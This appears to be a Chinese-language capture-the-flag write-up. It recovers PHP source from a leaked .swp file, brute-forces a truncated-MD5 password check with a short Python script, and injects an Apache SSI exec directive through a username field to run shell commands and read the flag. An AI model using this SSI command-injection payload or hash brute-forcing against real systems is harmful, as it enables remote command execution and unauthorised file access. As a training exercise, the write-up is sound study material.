扫描后台得到swp文件泄露,直接访问index.php.swp,看到源码:
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
首先使用脚本爆破,得到登录的密码2020666
import hashlib
for num in range(10000,9999999999):
res = hashlib.md5(str(num).encode()).hexdigest()
if res[0:6] == "6d0bc1":
print(str(num))
break
抓包,看到响应头中存在:
shtml?Apache SSI 远程命令执行漏洞? 但这个shtml的文件内容我们可控嘛?我们把目光锁定到这两行代码
$shtml = fopen($file_shtml, "w")
fwrite($shtml,$text);
$text从哪儿来?
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
username我们可控,所以给username传值
<!--#exec cmd="cat /var/www/html" -->
访问响应头给的shtml路径 发现flag 在传值
<!--#exec cmd="cat ../flag*" -->
拿到flag 参考链接: Apache SSI 远程命令执行漏洞
|